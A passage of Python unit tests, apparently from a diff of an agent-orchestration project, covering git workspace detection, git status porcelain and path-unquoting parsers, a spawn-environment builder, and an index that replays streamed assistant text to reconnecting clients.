"In-bounds '..' traversal was incorrectly rejected."
)
# ── create_filesystem_registry factory ───────────────────────────────────────
def test_create_filesystem_registry_git_workspace(tmp_path: Path) -> None:
"""A directory with a .git subdirectory yields :class:`GitFilesystemRegistry`.
Failure means the factory's _find_git_root detection is broken and git
workspaces would fall back to the plain agent-edit registry, losing
git-backed baseline support.
"""
(tmp_path / ".git").mkdir()
registry = create_filesystem_registry(tmp_path)
assert isinstance(registry, GitFilesystemRegistry), (
f"Expected GitFilesystemRegistry for a git workspace, got {type(registry).__name__}. "
"The factory's _find_git_root detection may be broken."
)
def test_create_filesystem_registry_plain_dir(tmp_path: Path) -> None:
"""A plain directory (no .git) yields :class:`AgentEditFilesystemRegistry`.
Failure means the factory is incorrectly treating non-git workspaces as git.
"""
registry = create_filesystem_registry(tmp_path)
assert isinstance(registry, AgentEditFilesystemRegistry), (
f"Expected AgentEditFilesystemRegistry for a plain dir, got {type(registry).__name__}. "
"The factory may be finding a .git directory it shouldn't."
)
def test_create_filesystem_registry_nested_git_workspace(tmp_path: Path) -> None:
"""A subdirectory inside a git repo yields :class:`GitFilesystemRegistry`.
Failure means _find_git_root doesn't walk parent directories, so nested
workspaces (agent sandboxes inside a repo) would incorrectly use the
plain agent-edit registry and lose git-backed baseline support.
"""
(tmp_path / ".git").mkdir()
nested = tmp_path / "subdir" / "workspace"
nested.mkdir(parents=True)
registry = create_filesystem_registry(nested)
assert isinstance(registry, GitFilesystemRegistry), (
f"Expected GitFilesystemRegistry for a nested git workspace, "
f"got {type(registry).__name__}. "
"_find_git_root may not be walking parent directories."
)
# ── _parse_git_porcelain_line ─────────────────────────────────────────────────
@pytest.mark.parametrize(
"line, expected",
[
# Untracked file (both columns '?') → created
("?? new_file.py", ("new_file.py", "created")),
# Staged new file (index 'A') → created
("A staged.py", ("staged.py", "created")),
# Staged new + modified in worktree (index 'A' takes precedence) → created
("AM staged_then_modified.py", ("staged_then_modified.py", "created")),
# Staged modification (index 'M') → modified
("M staged_mod.py", ("staged_mod.py", "modified")),
# Unstaged modification (worktree 'M') → modified
(" M unstaged_mod.py", ("unstaged_mod.py", "modified")),
# Both staged and unstaged modifications → modified
("MM both_mod.py", ("both_mod.py", "modified")),
# Staged deletion (index 'D') → deleted
("D staged_del.py", ("staged_del.py", "deleted")),
# Unstaged deletion (worktree 'D') → deleted
(" D unstaged_del.py", ("unstaged_del.py", "deleted")),
# Rename: destination path (after ' -> ') is used, operation is modified
("R old.py -> new.py", ("new.py", "modified")),
# git-quoted path (spaces in filename) → quotes are stripped
('?? "dir/file with spaces.py"', ("dir/file with spaces.py", "created")),
# Quoted rename destination
('R old.py -> "new with spaces.py"', ("new with spaces.py", "modified")),
# Both source and destination git-quoted (both paths have spaces).
# The outer-quote strip must NOT fire before the ' -> ' split —
# 'R "old name.py" -> "new name.py"' starts and ends with '"' so
# a naive strip would corrupt the separator and leave a dangling quote.
('R "old name.py" -> "new name.py"', ("new name.py", "modified")),
# Non-rename file whose name literally contains ' -> ': must NOT be
# treated as a rename — the old path-content heuristic would misfire here.
(" M file -> backup.py", ("file -> backup.py", "modified")),
# Git C-quoted non-ASCII filename (UTF-8 bytes as octal sequences).
# git encodes 'é' (U+00E9) as the two UTF-8 bytes \303\251.
('?? "caf\\303\\251.py"', ("café.py", "created")),
# Lines shorter than 4 characters → None (no valid XY + space + path)
("", None),
("??", None),
("M ", None),
],
ids=[
"untracked",
"staged-new",
"staged-new-and-modified",
"staged-modified",
"unstaged-modified",
"both-staged-and-unstaged-modified",
"staged-deleted",
"unstaged-deleted",
"rename",
"quoted-path-with-spaces",
"quoted-rename-destination",
"quoted-rename-both-sides",
"modified-filename-with-arrow",
"non-ascii-octal-quoted",
"empty-line",
"two-char-line",
"three-char-line",
],
)
def test_parse_git_porcelain_line(line: str, expected: tuple[str, str] | None) -> None:
"""``_parse_git_porcelain_line`` maps every ``git status --porcelain`` status code correctly.
Failure on any case means the corresponding operation will be misclassified
in the Files panel (e.g. a deleted file shown as modified, or a rename
showing the source path instead of the destination).
"""
result = _parse_git_porcelain_line(line)
assert result == expected, (
f"_parse_git_porcelain_line({line!r}) returned {result!r}, expected {expected!r}."
)
# ── _unquote_git_path ─────────────────────────────────────────────────────────
@pytest.mark.parametrize(
"raw, expected",
[
# Plain ASCII — no escaping needed
("hello.py", "hello.py"),
# Escaped double-quote and backslash
(r"say \"hi\"", 'say "hi"'),
(r"back\\slash", "back\\slash"),
# Simple escape sequences
("tab\\there", "tab\there"),
("new\\nline", "new\nline"),
# UTF-8 non-ASCII via octal (é = 0xC3 0xA9 = \303\251)
("caf\\303\\251.py", "café.py"),
# Multi-byte sequence: ñ = 0xC3 0xB1 = \303\261
("ma\\303\\261ana", "mañana"),
],
ids=[
"plain-ascii",
"escaped-quotes",
"escaped-backslash",
"tab-escape",
"newline-escape",
"non-ascii-two-byte-utf8",
"non-ascii-spanish",
],
)
def test_unquote_git_path(raw: str, expected: str) -> None:
"""``_unquote_git_path`` correctly reverses git's C-quoting escape sequences.
Failure means non-ASCII or specially-named files will appear with garbled
paths in the Files panel and diff endpoint lookups will fail to find them.
"""
result = _unquote_git_path(raw)
assert result == expected, (
f"_unquote_git_path({raw!r}) returned {result!r}, expected {expected!r}."
)
+28
View File
@@ -0,0 +1,28 @@
"""Unit tests for the goose-native spawn-env builder."""
from __future__ import annotations
from omnigent.goose_native_bridge import BRIDGE_DIR_ENV_VAR, build_goose_native_spawn_env
def test_spawn_env_sets_bridge_dir_and_ansi_theme() -> None:
env = build_goose_native_spawn_env("sess-1")
assert env[BRIDGE_DIR_ENV_VAR].endswith("goose-native") is False # it's <root>/<hash>
assert "goose-native/" in env[BRIDGE_DIR_ENV_VAR]
assert env["GOOSE_CLI_THEME"] == "ansi"
# No provider/model unless asked.
assert "GOOSE_PROVIDER" not in env
assert "GOOSE_MODEL" not in env
def test_spawn_env_pins_provider_and_model_when_given() -> None:
env = build_goose_native_spawn_env("sess-2", provider="openrouter", model="openai/gpt-4o-mini")
assert env["GOOSE_PROVIDER"] == "openrouter"
assert env["GOOSE_MODEL"] == "openai/gpt-4o-mini"
def test_spawn_env_bridge_dir_is_deterministic_per_session() -> None:
a = build_goose_native_spawn_env("same")[BRIDGE_DIR_ENV_VAR]
b = build_goose_native_spawn_env("same")[BRIDGE_DIR_ENV_VAR]
c = build_goose_native_spawn_env("other")[BRIDGE_DIR_ENV_VAR]
assert a == b and a != c
+897
View File
@@ -0,0 +1,897 @@
"""
Unit tests for :mod:`omnigent.runtime.inflight_text`.
The in-flight-text index recovers the assistant text streamed in the
current turn so a client (re)connecting mid-turn can replay it.
These tests pin its state-machine invariants directly — the layer where
they actually live — rather than through a full workflow:
* :func:`record_publish` accumulates ``response.output_text.delta`` text
and captures the turn's ``ResponseObject``; :func:`snapshot_for`
replays a ``response.created`` + ``response.output_text.delta`` pair.
* A new ``response`` id resets accumulation so a later turn never
prepends a prior turn's text.
* Any terminal turn event clears the entry.
* Replay only fires once real text has streamed (so a lifecycle-only
turn — e.g. claude-native, which streams no ``output_text`` — stays
inert and never double-renders the cold-load snapshot).
* Reasoning deltas are intentionally NOT tracked.
The wire-up between :func:`omnigent.runtime.session_stream.publish`
and this index, plus the snapshot/live-tail partition guarantee, is
tested in :file:`tests/runtime/test_session_stream.py`.
"""
from __future__ import annotations
from typing import Any
import pytest
from omnigent.runtime import inflight_text
@pytest.fixture(autouse=True)
def _clean_inflight_text_index() -> None:
"""
Reset the module-global in-flight-text dict between tests.
The index is process-global; without this fixture a test that
leaks an in-flight turn would change the replay behavior of a
later test (e.g. a stale prefix prepended to its snapshot).
"""
inflight_text.reset_for_tests()
yield
inflight_text.reset_for_tests()
def _created(response_id: str, model: str = "nessie") -> dict[str, Any]:
"""
Build a ``response.created`` event dict for the given turn.
:param response_id: The turn's response id, e.g. ``"resp_1"``.
:param model: The agent name carried on the response object,
e.g. ``"nessie"``.
:returns: An event dict shaped like the scaffold's
``response.created`` emission.
"""
return {
"type": "response.created",
"response": {
"id": response_id,
"model": model,
"status": "queued",
"created_at": 1,
},
}
def _delta(text: str) -> dict[str, Any]:
"""
Build a ``response.output_text.delta`` event dict.
:param text: The text fragment for this chunk, e.g. ``"Hello "``.
:returns: An event dict shaped like the runtime's text-delta
emission.
"""
return {"type": "response.output_text.delta", "delta": text}
def test_records_text_and_replays_created_plus_delta() -> None:
"""
Accumulated deltas replay as a ``response.created`` + joined delta.
This is the core recovery the fix provides: the streamed-so-far
text becomes a replayable pair so a reconnecting client repaints
the bubble with the right agent and full text.
"""
cid = "conv_a"
inflight_text.record_publish(cid, _created("resp_1"))
inflight_text.record_publish(cid, _delta("Hello "))
inflight_text.record_publish(cid, _delta("world"))
snap = inflight_text.snapshot_for(cid)
# Two events, created first so the reducer opens the bubble before
# the text lands. Zero events here would mean the deltas were
# dropped (the bug); a single event would mean the created envelope
# was lost (wrong agent attribution + response-id grouping).
assert len(snap) == 2, f"expected [created, delta], got {snap!r}"
assert snap[0]["type"] == "response.created"
# The captured response object carries the agent name + id used for
# bubble attribution and grouping with the eventual persisted message.
assert snap[0]["response"]["id"] == "resp_1"
assert snap[0]["response"]["model"] == "nessie"
# The deltas are joined in arrival order. A mismatch means the
# accumulator dropped or reordered tokens.
assert snap[1] == _delta("Hello world"), f"expected the joined streamed text, got {snap[1]!r}"
def test_reset_text_drops_committed_text_but_keeps_header() -> None:
"""
``reset_text`` clears accumulated text but keeps the turn header.
Called when the relay flushes a text segment to a committed message at
a tool-call boundary: the flushed text must NOT replay (it would
double-render beside the committed copy), but the next segment's replay
must still carry the ``response.created`` header.
"""
cid = "conv_reset"
inflight_text.record_publish(cid, _created("resp_1"))
inflight_text.record_publish(cid, _delta("flushed segment"))
inflight_text.reset_text(cid)
# The flushed text is gone — no replay (snapshot_for returns [] when a
# header exists but no text remains).
assert inflight_text.snapshot_for(cid) == [], (
"reset_text must drop the already-committed text from the replay"
)
# The header survived: a later segment still replays WITH response.created.
inflight_text.record_publish(cid, _delta("next segment"))
snap = inflight_text.snapshot_for(cid)
assert len(snap) == 2 and snap[0]["type"] == "response.created", snap
assert snap[0]["response"]["id"] == "resp_1"
assert snap[1] == _delta("next segment")
def test_in_progress_after_created_refreshes_without_dropping_text() -> None:
"""
A same-id ``response.in_progress`` refreshes the object, keeps text.
The scaffold emits ``response.created`` then ``response.in_progress``
for the same turn. The second event must not reset the turn (which
would discard text streamed between the two), only refresh the
stored response object (e.g. the status flip to ``in_progress``).
"""
cid = "conv_b"
inflight_text.record_publish(cid, _created("resp_1"))
inflight_text.record_publish(cid, _delta("partial"))
inflight_text.record_publish(
cid,
{
"type": "response.in_progress",
"response": {
"id": "resp_1",
"model": "nessie",
"status": "in_progress",
"created_at": 1,
},
},
)
snap = inflight_text.snapshot_for(cid)
# Text survived the in_progress event; if the same-id branch reset
# instead of refreshed, "partial" would be gone and snap empty.
assert snap[1] == _delta("partial"), f"text dropped by in_progress: {snap!r}"
# The refreshed status is reflected (proves refresh, not stale keep).
assert snap[0]["response"]["status"] == "in_progress"
def test_new_response_id_resets_accumulation() -> None:
"""
A different response id starts a fresh turn — no cross-turn leak.
Without the id-keyed reset, turn 2's replay would prepend all of
turn 1's text.
"""
cid = "conv_c"
inflight_text.record_publish(cid, _created("resp_1"))
inflight_text.record_publish(cid, _delta("turn one"))
# New turn (response.completed would normally clear first, but a
# missed terminal must not strand turn 1's text either — the id
# change alone resets).
inflight_text.record_publish(cid, _created("resp_2"))
inflight_text.record_publish(cid, _delta("turn two"))
snap = inflight_text.snapshot_for(cid)
# Only turn 2's text and id. "turn oneturn two" here would mean the
# accumulator never reset on the new response id.
assert snap[0]["response"]["id"] == "resp_2"
assert snap[1] == _delta("turn two"), f"turn-1 text leaked: {snap!r}"
@pytest.mark.parametrize(
"terminal_type",
[
"response.completed",
"response.failed",
"response.cancelled",
"response.incomplete",
],
)
def test_terminal_event_clears_entry(terminal_type: str) -> None:
"""
Any terminal turn event drops the in-flight entry.
After the turn ends its text is either persisted (``completed``) or
discarded (``failed`` / ``cancelled`` / ``incomplete``); replaying
it would double-render against the persisted message or resurrect a
dead turn. All four terminal types must clear.
"""
cid = "conv_d"
inflight_text.record_publish(cid, _created("resp_1"))
inflight_text.record_publish(cid, _delta("some text"))
inflight_text.record_publish(cid, {"type": terminal_type, "response": {"model": "nessie"}})
# Empty list (not just falsy) — the entry was popped. A non-empty
# result means the terminal branch failed to clear and the next
# reconnect would replay stale text.
assert inflight_text.snapshot_for(cid) == []
def test_no_replay_until_text_streamed() -> None:
"""
A turn with lifecycle events but no text yields no replay.
Scopes the fix to the actual bug (lost in-flight TEXT) and keeps
the index inert for harnesses that emit ``response.created`` but no
``output_text`` deltas (claude-native), so reconnect never injects
an empty bubble alongside that harness's durable cold-load snapshot.
"""
cid = "conv_e"
inflight_text.record_publish(cid, _created("resp_1"))
# No text streamed → nothing to recover → no replay. A non-empty
# result would inject a header-only bubble for every in-flight turn.
assert inflight_text.snapshot_for(cid) == []
def test_reasoning_deltas_are_not_tracked() -> None:
"""
Reasoning deltas never populate the index.
Reasoning is throwaway and may legitimately differ on reload — only
assistant ``output_text`` is recovered. If a reasoning delta were
accumulated, a reasoning-only step would replay as assistant text.
"""
cid = "conv_f"
inflight_text.record_publish(cid, _created("resp_1"))
inflight_text.record_publish(cid, {"type": "response.reasoning_text.delta", "delta": "think"})
inflight_text.record_publish(
cid, {"type": "response.reasoning_summary_text.delta", "delta": "summary"}
)
# Lifecycle seen but no output_text → no replay. Non-empty here
# would mean reasoning leaked into the assistant-text accumulator.
assert inflight_text.snapshot_for(cid) == []
def test_delta_before_lifecycle_replays_headless() -> None:
"""
Text arriving before any lifecycle event is still recovered.
Anomalous for the scaffold (which emits ``response.created`` first),
but the text must not be silently dropped — better a header-less
delta replay than lost content.
"""
cid = "conv_g"
inflight_text.record_publish(cid, _delta("orphan text"))
snap = inflight_text.snapshot_for(cid)
# Just the delta, no response.created envelope (none was captured).
# An empty result would mean orphan text is dropped.
assert snap == [_delta("orphan text")], f"orphan text not recovered: {snap!r}"
def test_unknown_conversation_returns_empty() -> None:
"""A conversation with no tracked turn returns an empty replay."""
# == [] (not falsy/type check) so an accidental sentinel return value
# would be caught.
assert inflight_text.snapshot_for("conv_never_seen") == []
def _status(value: str) -> dict[str, Any]:
"""
Build a ``session.status`` event dict.
:param value: The status value, e.g. ``"idle"`` or ``"running"``.
:returns: An event dict shaped like the SSE ``session.status`` payload.
"""
return {"type": "session.status", "status": value}
@pytest.mark.parametrize("terminal_status", ["idle", "failed"])
def test_terminal_session_status_clears_entry(terminal_status: str) -> None:
"""
A terminal ``session.status`` clears text from a turn with no terminal event.
A web Stop / session-delete cancels the turn and emits only
``session.status: idle`` (no ``response.cancelled``); a SETUP-phase
failure emits ``failed`` with no ``response.failed``. The entry must
still be dropped, or it lingers and replays stale text on the next
reload (and the index grows unbounded).
"""
cid = "conv_status"
inflight_text.record_publish(cid, _created("resp_1"))
inflight_text.record_publish(cid, _delta("partial answer"))
# Sanity: the turn's text is tracked mid-stream.
assert inflight_text.snapshot_for(cid), "expected in-flight text before the status event"
inflight_text.record_publish(cid, _status(terminal_status))
# Cleared — the turn ended without a terminal response.* event.
# Non-empty here means the Stop/delete/setup-failure leak is back.
assert inflight_text.snapshot_for(cid) == []
@pytest.mark.parametrize("nonterminal_status", ["running", "waiting"])
def test_nonterminal_session_status_keeps_inflight_text(nonterminal_status: str) -> None:
"""
A non-terminal ``session.status`` must NOT clear in-flight text.
``running`` is the active-turn status and ``waiting`` is a mid-turn
pause (e.g. a parked elicitation); a turn is still streaming, so its
accumulated text must survive — clearing here would re-break the
reload recovery the fix provides.
"""
cid = "conv_status_keep"
inflight_text.record_publish(cid, _created("resp_1"))
inflight_text.record_publish(cid, _delta("still going"))
inflight_text.record_publish(cid, _status(nonterminal_status))
snap = inflight_text.snapshot_for(cid)
# Text preserved across a non-terminal status. Empty here would mean
# an active turn's streamed text was wrongly dropped.
assert snap[-1] == _delta("still going"), (
f"in-flight text dropped by {nonterminal_status!r}: {snap!r}"
)
def test_policy_deny_sentinel_does_not_linger() -> None:
"""
The policy-deny notice is cleared by its trailing ``idle`` (no stray replay).
The deny path publishes a synthetic ``output_text.delta``
(``"[Denied by policy: …]"``) with NO ``response.created`` and NO
terminal ``response.*`` — only ``session.status running`` … ``idle``
around it. The terminal ``idle`` must clear the header-less entry, or
the deny notice replays as a stray agent-less bubble on every reload.
"""
cid = "conv_deny"
inflight_text.record_publish(cid, _status("running"))
inflight_text.record_publish(cid, _delta("[Denied by policy: nope]"))
# The sentinel was captured (header-less) while the turn looked active.
assert inflight_text.snapshot_for(cid), "deny sentinel should be tracked before idle"
inflight_text.record_publish(cid, _status("idle"))
# Cleared by idle → no stray replay on a later reload.
assert inflight_text.snapshot_for(cid) == []
def test_discard_drops_entry_and_is_idempotent() -> None:
"""
:func:`discard` drops a conversation's entry; unknown ids are a no-op.
The relay's teardown calls this when it exits without a terminal
event (runner death / rebind), the eviction backstop against an
unbounded index.
"""
cid = "conv_discard"
inflight_text.record_publish(cid, _created("resp_1"))
inflight_text.record_publish(cid, _delta("text"))
assert inflight_text.snapshot_for(cid), "expected tracked text before discard"
inflight_text.discard(cid)
# Entry gone. Non-empty would mean the relay-exit leak backstop failed.
assert inflight_text.snapshot_for(cid) == []
# Idempotent: discarding an untracked id must not raise.
inflight_text.discard("conv_never_tracked")
# ── Claude-native message-scoped streaming ───────────────────────────
def _native_delta(
message_id: str, index: int, text: str, *, final: bool = False
) -> dict[str, Any]:
"""
Build a claude-native ``response.output_text.delta`` event dict.
:param message_id: Vendor per-message id, e.g. ``"m1"``.
:param index: 0-based chunk order within the message, e.g. ``0``.
:param text: The chunk text, e.g. ``"Hello "``.
:param final: Whether this is the message's last chunk. Sets the
``final`` flag; only once a message is ``final`` is its joined
text complete and thus eligible for the content match that
retires it against a committed ``output_item.done``.
:returns: An event dict shaped like the forwarder's per-chunk emit.
"""
return {
"type": "response.output_text.delta",
"delta": text,
"message_id": message_id,
"index": index,
"final": final,
}
def _message_done(item_id: str = "ci_x", text: str = "...") -> dict[str, Any]:
"""
Build an assistant ``message`` ``response.output_item.done`` event.
:param item_id: The committed item id, e.g. ``"ci_1"``.
:param text: The committed assistant text. This is the byte-equal
join key the retire path matches streamed deltas against, so a
test that wants the commit to retire a specific in-flight message
must pass that message's full streamed text here, e.g. ``"Hello"``.
:returns: An event dict shaped like the forwarder's committed
assistant message emission.
"""
return {
"type": "response.output_item.done",
"item": {
"type": "message",
"role": "assistant",
"id": item_id,
"content": [{"type": "output_text", "text": text}],
},
}
def test_native_message_replays_one_delta_with_id_and_index() -> None:
"""
A native message's chunks replay as one delta carrying its id+index.
The reconnect path re-emits the streamed-so-far text as a single
message-scoped ``output_text.delta`` (message_id + highest index)
so the web client rebuilds the in-flight preview and its live tail
(higher indices) appends without duplicating the replayed prefix.
"""
cid = "conv_native_one"
inflight_text.record_publish(cid, _native_delta("m1", 0, "Hello "))
inflight_text.record_publish(cid, _native_delta("m1", 1, "world"))
snap = inflight_text.snapshot_for(cid)
# Exactly one replay event for the one in-flight message; joined text,
# message_id preserved (so the client scopes the preview), and index ==
# the highest accumulated so the live tail appends from index 2.
assert snap == [
{
"type": "response.output_text.delta",
"delta": "Hello world",
"message_id": "m1",
"index": 1,
}
], f"expected one message-scoped replay delta, got {snap!r}"
def test_native_messages_replay_in_order_not_blobbed() -> None:
"""
Multiple in-flight messages replay as separate deltas, in stream order.
A claude-native turn streams several messages (message → tool →
message); each must replay under its OWN message_id, not be
concatenated into one blob (which would lose message boundaries and
the per-message ids the client keys previews on).
"""
cid = "conv_native_multi"
inflight_text.record_publish(cid, _native_delta("m1", 0, "first"))
inflight_text.record_publish(cid, _native_delta("m2", 0, "second"))
snap = inflight_text.snapshot_for(cid)
# Two distinct deltas, m1 before m2 (insertion = stream order). One
# blob here would mean message boundaries / ids were lost.
assert [(e["message_id"], e["delta"]) for e in snap] == [("m1", "first"), ("m2", "second")]
def test_native_output_item_done_retires_by_content_not_position() -> None:
"""
A committed ``message`` retires the preview whose TEXT it matches.
Two complete messages are in flight; the commit carries the SECOND
one's text, so the second is retired and the first — still uncommitted
— keeps replaying. The old FIFO rule would have dropped the oldest
(m1) regardless of content, leaving the committed m2 to double-render
against the cold-load snapshot. The done event carries no message_id,
so content is the only reliable join key (proven byte-equal by probe).
"""
cid = "conv_native_content_match"
inflight_text.record_publish(cid, _native_delta("m1", 0, "first answer", final=True))
inflight_text.record_publish(cid, _native_delta("m2", 0, "second answer", final=True))
# Commit the SECOND message's text (not the oldest).
suppress = inflight_text.record_publish(cid, _message_done("ci_2", text="second answer"))
assert suppress is False, "a committed item is broadcast, never suppressed from live"
snap = inflight_text.snapshot_for(cid)
# m2 retired by content; m1 (older, uncommitted) survives. FIFO would
# have produced ["m1"... dropped, "m2" kept] — i.e. the wrong result.
assert [(e["message_id"], e["delta"]) for e in snap] == [("m1", "first answer")], (
f"content match must retire m2 (the committed text), not the oldest m1: {snap!r}"
)
def test_pi_native_empty_final_marker_retires_message_on_commit() -> None:
"""
A pi-native turn is retired even though its ``final`` chunk is empty.
pi-native (and any harness using the web UI's ``finalizeStreamingMessage``
contract) signals end-of-message with an EMPTY marker — ``delta=""`` with
``final=true`` — after the text chunks. The completion flag, not the
(absent) text, is what flips ``final_seen`` and makes the message eligible
for the byte-equal retire on ``output_item.done``.
Regression: the old ``not delta`` guard dropped that empty marker before
``final_seen`` could be set, so the message was never retired. ``snapshot_for``
then replayed the fully-committed message on every reconnect / cold-load,
double-rendering it beside the snapshot's persisted copy (the reported bug).
"""
cid = "conv_pi_empty_final"
text = "I'm Claude, made by Anthropic."
# Text chunk(s), then the separate empty finalize marker.
inflight_text.record_publish(cid, _native_delta("pi:msg:0", 0, text, final=False))
marker = _native_delta("pi:msg:0", 1, "", final=True)
suppress_marker = inflight_text.record_publish(cid, marker)
# The empty marker is broadcast (not suppressed) while the message is still
# uncommitted — its live preview must finalize on the web client.
assert suppress_marker is False
# The empty marker recorded text only via its earlier chunk; the join key
# is the full message text, so the commit retires it by content.
suppress_done = inflight_text.record_publish(cid, _message_done("ci_pi", text=text))
assert suppress_done is False, "a committed item is broadcast, never suppressed from live"
# No replay: a reconnect / cold-load shows ONLY the snapshot's copy.
assert inflight_text.snapshot_for(cid) == [], (
"a committed pi-native message must not replay (it would double-render)"
)
def test_pi_native_empty_final_marker_suppresses_when_commit_races_ahead() -> None:
"""
The empty finalize marker also retires when the commit raced ahead.
The committed ``output_item.done`` can arrive BEFORE the deltas (the
single-chunk race): no in-flight message matches yet, so its fingerprint
is buffered. When the text chunk then the empty ``final`` marker land, the
marker — now honored rather than dropped — completes the message, matches
the buffered fingerprint, retires it, and is suppressed from the live tail
so the duplicate trailing chunk never reaches the client.
"""
cid = "conv_pi_empty_final_race"
text = "PONG"
# Commit lands first (deltas raced behind): fingerprint buffered.
inflight_text.record_publish(cid, _message_done("ci_pong", text=text))
# Text chunk, then the empty finalize marker completes + matches it.
inflight_text.record_publish(cid, _native_delta("pi:msg:0", 0, text, final=False))
marker = _native_delta("pi:msg:0", 1, "", final=True)
suppress_marker = inflight_text.record_publish(cid, marker)
assert suppress_marker is True, "the duplicate trailing chunk must be suppressed from live"
assert inflight_text.snapshot_for(cid) == [], "the committed message must not replay"
def test_codex_output_item_done_retires_matching_preview_without_final_delta() -> None:
"""
Codex-native retires previews on commit even without ``final: true``.
Codex's app-server stream has ``item/agentMessage/delta`` events and
a later ``item/completed`` event, but the coalesced deltas are marked
``final: false``. The completed item is therefore the only reliable
completion signal. If a matching ``codex:`` preview is not retired at
commit time, a page refresh replays it from ``inflight_text`` next to
the committed DB message, producing a duplicate assistant bubble.
"""
cid = "conv_codex_no_final"
message_id = "codex:thread_123:turn_123:agentMessage:item_agent"
inflight_text.record_publish(
cid,
_native_delta(message_id, 0, "Hi! What would you like to work on today?", final=False),
)
suppress = inflight_text.record_publish(
cid,
_message_done("ci_1", text="Hi! What would you like to work on today?"),
)
assert suppress is False, "committed items are still broadcast to live clients"
assert inflight_text.snapshot_for(cid) == [], (
"codex completed item must retire the no-final preview so refresh cannot replay it"
)
def test_non_codex_output_item_done_keeps_non_final_matching_preview() -> None:
"""
Non-Codex native streams still require ``final: true`` before match.
A non-final Claude-style chunk can be only a prefix of a longer
in-flight message. Matching it against a same-text committed item
would retire the wrong preview and suppress the rest of the message.
"""
cid = "conv_native_non_final_guard"
inflight_text.record_publish(cid, _native_delta("m1", 0, "OK", final=False))
inflight_text.record_publish(cid, _message_done("ci_1", text="OK"))
snap = inflight_text.snapshot_for(cid)
assert [(e["message_id"], e["delta"]) for e in snap] == [("m1", "OK")]
def test_native_single_chunk_commit_before_delta_is_retired_and_suppressed() -> None:
"""
The core bug: a single-chunk message whose only chunk lands AFTER commit.
FIFO could never handle this — at commit time the message is not
tracked at all, so nothing is popped and its id is never retired; its
late ``final`` chunk then resurrects a preview that both replays on
reconnect and renders live as a duplicate of the committed message.
Content matching closes both holes. The commit buffers its text
fingerprint; when the lone ``final`` chunk arrives, its complete text
matches, so the message is retired (no replay) AND
:func:`record_publish` returns ``True`` so the publisher withholds the
chunk from the live fan-out.
"""
cid = "conv_native_single_chunk_race"
# Commit arrives FIRST — no delta for this message has been seen yet.
suppress_commit = inflight_text.record_publish(cid, _message_done("ci_1", text="Hello world"))
assert suppress_commit is False
assert inflight_text.snapshot_for(cid) == [], "nothing is in flight at commit time"
# The message's lone chunk (first AND final) lands a poll later.
suppress_delta = inflight_text.record_publish(
cid, _native_delta("m1", 0, "Hello world", final=True)
)
# Withheld from the live stream (the duplicate the user kept seeing)...
assert suppress_delta is True, (
"the trailing chunk of an already-committed message must be withheld from the live fan-out"
)
# ...and never resurrected into the replay index.
assert inflight_text.snapshot_for(cid) == [], (
"a chunk matching an already-committed message must not create an "
"in-flight entry (it would replay as a stale duplicate on reload)"
)
def test_native_late_chunk_for_retired_message_is_dropped_and_suppressed() -> None:
"""
Once retired, any later chunk for that message is dropped + suppressed.
After a message is retired (here via the normal deltas-then-commit
order), a stray trailing chunk for it must neither re-enter the replay
index nor reach live subscribers.
"""
cid = "conv_native_retired_stray"
inflight_text.record_publish(cid, _native_delta("m1", 0, "the answer", final=True))
# Commit matches m1 by content → m1 retired.
inflight_text.record_publish(cid, _message_done("ci_1", text="the answer"))
assert inflight_text.snapshot_for(cid) == [], "m1 retired on commit"
# A duplicate/stray chunk for the retired m1 arrives.
suppress = inflight_text.record_publish(cid, _native_delta("m1", 1, " (extra)"))
assert suppress is True, "a chunk for a retired message is withheld from live"
assert inflight_text.snapshot_for(cid) == [], "and does not resurrect the preview"
def test_native_retire_by_content_leaves_a_still_streaming_sibling() -> None:
"""
Retiring one committed message leaves a younger, still-streaming one.
m1 completes and commits; m2 is still mid-stream (no ``final`` yet).
Committing m1 by content retires only m1 — m2 keeps accumulating and
replaying (the retire is scoped to the matched message, not the turn).
"""
cid = "conv_native_sibling"
inflight_text.record_publish(cid, _native_delta("m1", 0, "done one", final=True))
inflight_text.record_publish(cid, _native_delta("m2", 0, "still "))
# Commit m1 by content.
inflight_text.record_publish(cid, _message_done("ci_1", text="done one"))
# m2 keeps streaming after m1's commit.
inflight_text.record_publish(cid, _native_delta("m2", 1, "going"))
snap = inflight_text.snapshot_for(cid)
assert [(e["message_id"], e["delta"]) for e in snap] == [("m2", "still going")], (
f"only the still-streaming m2 should replay, got {snap!r}"
)
def test_native_commit_without_matching_text_retires_nothing() -> None:
"""
A commit whose text matches no in-flight preview must drop none.
Content matching never mis-retires: if the committed text doesn't
byte-match a completed in-flight message (deltas not yet arrived, or a
multi-text-block message whose deltas concatenate differently), every
preview survives — the fingerprint is buffered for a later match, and
unmatched previews are cleared at turn-end, not dropped here on a
wrong positional guess.
"""
cid = "conv_native_no_match"
inflight_text.record_publish(cid, _native_delta("m1", 0, "alpha", final=True))
inflight_text.record_publish(cid, _native_delta("m2", 0, "beta", final=True))
# Commit text matches NEITHER in-flight message.
inflight_text.record_publish(cid, _message_done("ci_x", text="totally different"))
snap = inflight_text.snapshot_for(cid)
assert [(e["message_id"], e["delta"]) for e in snap] == [("m1", "alpha"), ("m2", "beta")], (
f"a non-matching commit must not drop any preview (no FIFO guess): {snap!r}"
)
def test_native_identical_text_messages_reconciled_by_count() -> None:
"""
Two messages with identical text, commit-before-deltas: multiset count.
When both commits arrive before either's deltas, the committed-text
multiset holds the one fingerprint with count 2. Each message's
``final`` chunk consumes one, so BOTH are retired and BOTH chunks
suppressed — and the count drains to exactly zero, so a later identical
chunk is treated as a genuine new live message (not a phantom match a
plain set would produce forever).
"""
cid = "conv_native_identical"
# Both commits first → same fingerprint, count 2.
inflight_text.record_publish(cid, _message_done("ci_1", text="OK"))
inflight_text.record_publish(cid, _message_done("ci_2", text="OK"))
s1 = inflight_text.record_publish(cid, _native_delta("m1", 0, "OK", final=True))
s2 = inflight_text.record_publish(cid, _native_delta("m2", 0, "OK", final=True))
assert (s1, s2) == (True, True), "both duplicate chunks suppressed from live"
assert inflight_text.snapshot_for(cid) == [], "both messages retired, neither replays"
# Count is fully drained: a THIRD identical chunk has no buffered
# commit to match, so it is a live message (proves a count, not a set).
s3 = inflight_text.record_publish(cid, _native_delta("m3", 0, "OK", final=True))
assert s3 is False, "no buffered commit remains, so this is a fresh live message"
assert [e["message_id"] for e in inflight_text.snapshot_for(cid)] == ["m3"]
def test_native_stale_committed_fingerprint_expires_after_ttl(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
A buffered commit fingerprint past the TTL stops suppressing later text.
Claude-native emits no terminal ``response.*`` to clear
``_native_committed``, so a fingerprint whose matching delta never
